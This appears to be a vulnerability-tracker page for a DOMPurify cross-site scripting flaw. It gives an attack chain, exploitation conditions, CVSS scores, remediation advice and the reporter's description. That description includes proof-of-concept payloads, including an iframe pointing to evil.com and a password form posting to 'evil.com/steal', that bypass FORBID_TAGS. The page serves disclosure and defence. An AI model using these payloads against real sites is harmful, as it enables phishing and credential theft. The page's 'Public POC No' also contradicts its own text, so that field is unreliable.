Skip to main content

DOMPurify CVE-2026-41240

MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-04-22 https://github.com/cure53/DOMPurify GHSA-h7mw-gpvr-xq4m
6.0
CVSS 4.0 · Vendor: https://github.com/cure53/DOMPurify
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Supply malicious HTML with forbidden tag
  2. Delivery
    Function-based ADD_TAGS predicate evaluated
  3. Exploit
    FORBID_TAGS check short-circuited
  4. Install
    Dangerous element (iframe/form) passes sanitization
  5. C2
    Attributes (src/action) preserved by attribute filter
  6. Execute
    Element rendered in victim browser
  7. Impact
    User phished or exploited via injected content

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires that the application explicitly configure DOMPurify with both (1) a function-based ADD_TAGS predicate (not a static array), AND (2) a FORBID_TAGS configuration that lists dangerous tags such as iframe, form, object, or embed. This specific combination is uncommon because most sanitization configurations rely on either an explicit allowlist (ADD_TAGS as array) or a denylist (FORBID_TAGS) but not a function-based addition pattern. The vulnerability does not affect applications that use FORBID_TAGS alone without ADD_TAGS, or applications that use static array ADD_TAGS. No special user interaction or authentication is required; the attacker simply needs to supply malicious HTML input to the sanitizer (e.g., via form submission, API endpoint, or templating context). The vulnerability is automatically triggered once the above configuration is active in the application.

Impact

While CVSS vector and EPSS score are not provided, the vulnerability presents moderate to high risk for deployments relying on DOMPurify for XSS protection with function-based ADD_TAGS configuration. The attack vector is network-based (malicious HTML input supplied to the sanitizer), requires no authentication, and succeeds against default configurations that use the vulnerable pattern. However, exploitation is conditional on a specific configuration choice (function-based ADD_TAGS combined with FORBID_TAGS) that may be uncommon in production code. The CWE-79 classification and the presence of working proof-of-concept confirm the XSS impact. The inconsistency with FORBID_ATTR (which was previously fixed) suggests this was an oversight in a targeted security fix. Risk is elevated for applications that explicitly use function predicates for tag allowlisting while also maintaining FORBID_TAGS lists, or for security-conscious developers who added the function-based ADD_TAGS pattern after the FORBID_ATTR fix was announced. No active exploitation in the wild is known at the time of analysis (CVE appears to be newly published), but the PoC is publicly available and trivial to execute.

Exploit ScenarioDerived

An attacker submits user-generated content (e.g., a forum post or comment) containing an iframe or form element to a web application that sanitizes HTML via DOMPurify with function-based ADD_TAGS enabled and FORBID_TAGS set to block dangerous elements. The vulnerable sanitizer allows the iframe or form to pass through with its attributes (src, action) intact. The attacker's iframe points to an external phishing site, or the form redirects stolen credentials to an attacker-controlled server, compromising end users.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 23, 2026

Cross-site scripting (XSS) in DOMPurify occurs when function-based ADD_TAGS configuration is used with FORBID_TAGS, allowing attackers to bypass tag filtering and inject dangerous elements such as iframe, form, object, and embed with their attributes intact. The vulnerability stems from inconsistent handling of FORBID_TAGS compared to the separately-fixed FORBID_ATTR logic, where the forbidden tag check is short-circuited by a function-based ADD_TAGS predicate. Publicly available proof-of-concept demonstrates iframe and form injection with external URLs surviving sanitization; patch is available in version 3.4.0.

RemediationAI

Upgrade DOMPurify to version 3.4.0 or later, which implements the FORBID_TAGS early-exit fix analogous to the FORBID_ATTR protection (commit c361baa). The patch adds an explicit check for FORBID_TAGS before evaluating function-based ADD_TAGS predicates, ensuring FORBID_TAGS always takes precedence. If immediate upgrade is not feasible, applications using function-based ADD_TAGS predicates should audit their configuration and temporarily switch to static array-based ADD_TAGS specifications or remove the function predicate pattern entirely until patching is completed. As a temporary compensating control, developers can manually implement FORBID_TAGS checks within their ADD_TAGS function predicate logic by returning false if the tag is in the forbidden list; however, this is error-prone and does not address the underlying library bug. Security reviews should verify that no production code relies on the vulnerable ADD_TAGS + FORBID_TAGS combination. Refer to GitHub advisory GHSA-h7mw-gpvr-xq4m and release notes at https://github.com/cure53/DOMPurify/releases/tag/3.4.0 for patch details.

Affected Packages

npm dompurify fix: 3.4.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

DOMPurify is an XSS sanitizer library for HTML, DOM, and templating engines written in JavaScript and available via npm. The vulnerability resides in the tag allowlist/blocklist logic within the sanitization pipeline. At line 1118-1123 of the affected code, when EXTRA_ELEMENT_HANDLING.tagCheck is a function that returns true, JavaScript's short-circuit evaluation of the logical AND operator prevents the subsequent FORBID_TAGS check from executing. This contrasts with the FORBID_ATTR handling (line 1214), which explicitly checks FORBID_ATTR before evaluating function-based ADD_ATTR predicates. The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation - 'Cross-site Scripting'), manifesting as a logic flaw in the configuration precedence system. The vulnerability affects all versions prior to the patch and requires the uncommon but supported scenario of configuring ADD_TAGS as a function rather than a static array.

Know when Node.js gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/cure53/DOMPurify) PRIMARY 6.0 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
SUSE 6.1 MEDIUM
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Red Hat 8.1 MEDIUM

Primary rating from Vendor (https://github.com/cure53/DOMPurify).

CVSS VectorVendor: https://github.com/cure53/DOMPurify

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
Present
Privileges Required
None
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
High
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

3
CVSS changed
Apr 23, 2026 - 16:27 NVD
6.0 (MEDIUM)
Patch released
Apr 23, 2026 - 02:30 nvd
Patch available
CVE Published
Apr 22, 2026 - 17:34 nvd
MEDIUM 6.0

DescriptionCVE.org

There is an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used.

Commit c361baa added an early exit for FORBID_ATTR at line 1214:

/* FORBID_ATTR must always win, even if ADD_ATTR predicate would allow it */ if (FORBID_ATTR[lcName]) { return false; }

The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely:

if ( !( EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function && EXTRA_ELEMENT_HANDLING.tagCheck(tagName) // true -> short-circuits ) && (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName]) // never evaluated ) {

This allows forbidden elements to survive sanitization with their attributes intact.

PoC (tested against current HEAD in Node.js + jsdom):

const DOMPurify = createDOMPurify(window);

DOMPurify.sanitize( '<iframe src="https://evil.com"></iframe>', { ADD_TAGS: function(tag) { return true; }, FORBID_TAGS: ['iframe'] } ); // Returns: '<iframe src="https://evil.com"></iframe>' // Expected: '' (iframe forbidden)

DOMPurify.sanitize( '<form action="https://evil.com/steal"><input name=password></form>', { ADD_TAGS: function(tag) { return true; }, FORBID_TAGS: ['form'] } ); // Returns: '<form action="https://evil.com/steal"><input name="password"></form>' // Expected: '<input name="password">' (form forbidden)

Confirmed affected: iframe, object, embed, form. The src/action/data attributes survive because attribute sanitization runs separately and allows these URLs.

Compare with FORBID_ATTR which correctly wins:

DOMPurify.sanitize( '<p onclick="alert(1)">hello</p>', { ADD_ATTR: function(attr) { return true; }, FORBID_ATTR: ['onclick'] } ); // Returns: '<p>hello</p>' (onclick correctly removed)

Suggested fix: add FORBID_TAGS early exit before the tagCheck evaluation, mirroring line 1214:

/* FORBID_TAGS must always win, even if ADD_TAGS predicate would allow it */ if (FORBID_TAGS[tagName]) { // proceed to removal logic }

This requires function-based ADD_TAGS in the config, which is uncommon. But the asymmetry with the FORBID_ATTR fix is clear, and the impact includes iframe and form injection with external URLs.

Reporter: Koda Reef

Threat Intelligence Overview

EPSS Score
0.0%
Top 86% exploitable
Threat Intel
1
1 source
Data Quality
7 sources
Confidence: High
NVD CVE.org EPSS Vulnrichment GHSA Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +30
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Affected Products (CPE)CVE.org

pkg:npm/dompurify
CVE-2025-68613 HIGH POC
8.8 Dec 19

Remote code execution in n8n's workflow expression evaluation system allows an authenticated user with workflow creation

CVE-2024-41713 CRITICAL POC
9.1 Oct 21

A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could

CVE-2024-55591 CRITICAL POC
9.8 Jan 14

FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote

CVE-2023-44487 HIGH POC
7.5 Oct 10

Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour

CVE-2014-7205 CRITICAL POC
10.0 Oct 08

Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t

CVE-2025-59528 CRITICAL POC
10.0 Sep 22

Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete

CVE-2017-14849 HIGH POC
7.5 Sep 28

Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc

CVE-2017-5941 CRITICAL POC
9.8 Feb 09

An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2014-3744 HIGH POC
7.5 Oct 23

Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi

CVE-2014-9566 HIGH POC
7.5 Mar 10

Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin

CVE-2024-35286 CRITICAL POC
9.8 Oct 21

A vulnerability in NuPoint Messenger (NPM) of Mitel MiCollab through 9.8.0.33 allows an unauthenticated attacker to cond

Vendor StatusVendor

SUSE

Severity: Medium
Product Status
openSUSE Tumbleweed Fixed

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy